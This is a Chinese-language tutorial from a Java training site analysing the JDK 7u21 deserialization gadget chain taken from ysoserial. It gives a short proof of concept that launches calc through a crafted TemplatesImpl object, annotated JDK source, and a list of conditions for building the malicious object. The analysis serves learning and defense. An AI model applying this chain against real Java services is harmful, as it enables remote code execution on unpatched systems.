15036188778

您所在位置: 首页> java技术> java培训班 | JDK反序列化Gadgets-7u21

java培训班 | JDK反序列化Gadgets-7u21

发布百知教育 来源:java技术 2019-12-06

从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链,ysoserial利用工具中也有7u21利用链。现在都是7u80版本了,这个漏洞真正直接利用,估计已经很难找到了。


但是这个利用链的构造有很多之前没接触过的java特性,就此好好学习一下,也算是fastjson的前置知识吧。


先去Oracle官网下载漏洞jdk版本7u21,漏洞影响7u25之前的版本,整条链poc貌似只适用于7u21以前。


之所以说这是JDK反序列化链,是因为这个链中所有利用类都是jdk自带的类,其中payload最终关键类是    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。


我们从ysoserial源码中抠出7u21的利用代码来分析,具体代码由于比较长,不全部在此贴出,只截取需要的部分,所有代码已上传github。


jdk7u21.java是一个包含基础核心原理POC。(Gadgets类参考github,或者可以去ysoserial中取)


  public static void main(String[] args) throws Exception {
       TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
       calc.getOutputProperties();//调用getOutputProperties就可以执行calc
   }


请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数,这是这个利用链在fastjson组件利用的关键。

跟踪getOutputProperties方法,来确认恶意TemplatesImpl类calc 需要的条件,先看调用栈:



java培训班


newInstance


从调用栈中,可见最后是obj.newInstance(obj是虚指)触发poc执行恶意代码,调用栈再往下之后就是java class类的newInsatance内部实现了,不细纠。

newinstance实例化会默认触发执行static方法,构造方法代码,如下:


java培训班


所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后,我们从头开始慢慢寻找其他需要条件。


跟入TemplatesImpl类的getOutputProperties方法:


 public synchronized Properties getOutputProperties() {        try {            return newTransformer().getOutputProperties();//我们进入newTransformer方法
       }        catch (TransformerConfigurationException e) {            return null;
       }
   }


com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法


public synchronized Transformer newTransformer()
       throws TransformerConfigurationException    {
       TransformerImpl transformer;

       transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
           _indentNumber, _tfactory);//此处没有啥限制条件,进入getTransletInstance()

       if (_uriResolver != null) {
           transformer.setURIResolver(_uriResolver);
       }        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
           transformer.setSecureProcessing(true);
       }        return transformer;
   }


com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法


private Translet getTransletInstance()
       throws TransformerConfigurationException {        try {            //限制条件1:TemplatesImpl类中的_name变量!=null
           if (_name == null) return null;           //限制条件2:TemplatesImpl类中的_class变量==null
           if (_class == null) defineTransletClasses();//进入此处,查看其他限制条件

           // 漏洞触发代码就是下面这一行,_transletIndex是在defineTransletClasses()中赋值的,其实就是选取了一个特定条件的class获取它的实例。
           AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
           ...//这里之后的代码不重要,省略

           return translet;
       }        catch (InstantiationException e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);         


在漏洞代码执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();前,

先经过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法


private void defineTransletClasses()
       throws TransformerConfigurationException {        //限制条件3:TemplatesImpl类中的_bytecodes变量!=null
       if (_bytecodes == null) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);            throw new TransformerConfigurationException(err.toString());
       }        //引入加载器
       TransletClassLoader loader = (TransletClassLoader)
           AccessController.doPrivileged(new PrivilegedAction() {                public Object run() {                    return new 
        //限制条件4:TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
       //           即需要是一个TransformerFactoryImpl类
  TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
               }
           });        try {            //以下主要做的事情是通过加载器从_bytecodes中加载类至_class。(bytecodes可以是一个数组转换为一个数组class)
           final int classCount = _bytecodes.length;
           _class = new Class[classCount];            if (classCount > 1) {
               _auxClasses = new Hashtable();
           }            for (int i = 0; i < classCount; i++) {                //转化。ClassLoader.defineClass() 会转载javabyte变为class类,但是不会执行static代码。
               _class[i] = loader.defineClass(_bytecodes[i]);                //获取转过来的class的父类
               final Class superClass = _class[i].getSuperclass(); // 对于读取进来的class的父类进行限制,满足条件才改变_transletIndex的值
// 之后将获取class[_transletIndex]的实例
// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 限制条件5:_bytecodes的类必须是ABSTRACT_TRANSLET的子类
               if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                   _transletIndex = i;
               }                else {
                   _auxClasses.put(_class[i].getName(), _class[i]);
               }
           }            if (_transletIndex < 0) {
               ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                throw new TransformerConfigurationException(err.toString());
           }
       }        catch (ClassFormatError e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }        catch (LinkageError e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }
   }


_tfactory 与jdk版本

其中的限制条件4 _tfactory 这个参数是有说法的,在其他人博客中有存在对于 _tfactory 的参数的说明:

因为代码中存在 _tfactory.getExternalExtensionsMap() 所以需要 _tfactory 进行赋值 不能为null。

但其实这跟jdk版本是有关的,1.7下不同的jdk版本这段代码是不同的。

1.7u80版本的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中就是存在_tfactory.getExternalExtensionsMap()这句代码的。


11.png



在1.7u80中,注释Gadgets类中添加 _tfactory这个字段的代码后(之后我们将详细分析Gadgets类),_tfactory=null就会发生null指针报错。


java培训班


细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。


但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();后


 的translet.postInitialization();处报错。


而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload


在同样注释_tfactory这个字段的代码的情况下,使用jdk1.7u21的环境,却可以成功执行,因为jdk1.7u21的情况下并没有_tfactory.getExternalExtensionsMap()这句代码。


java培训班



但是1.7u21也可以兼容给_tfactory赋值的情况,所以还是给 _tfactory 赋值比较好,可以兼容不同的版本。


TemplatesImpl恶意类的限制条件

至此总结我们构筑一个恶意的TemplatesImpl类,在调用这个恶意类的getOutputProperties方法时,需要满足的限制条件。即,构筑恶意TemplatesImpl类的需要条件。

1.TemplatesImpl类的 _name 变量 != null

2.TemplatesImpl类的_class变量 == null

3.TemplatesImpl类的 _bytecodes 变量 != null

4.TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

5.TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

6.我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。


java培训班:http://www.baizhiedu.com/java2019

注释:部分内容来自公众号雷神众测








上一篇:大数据培训班 | 新手学习大数据必问的十个问题

下一篇:应届生去公司找个Java程序员的职位需要什么技能?

相关推荐

www.baizhiedu.com

有位老师想和您聊一聊

关闭

立即申请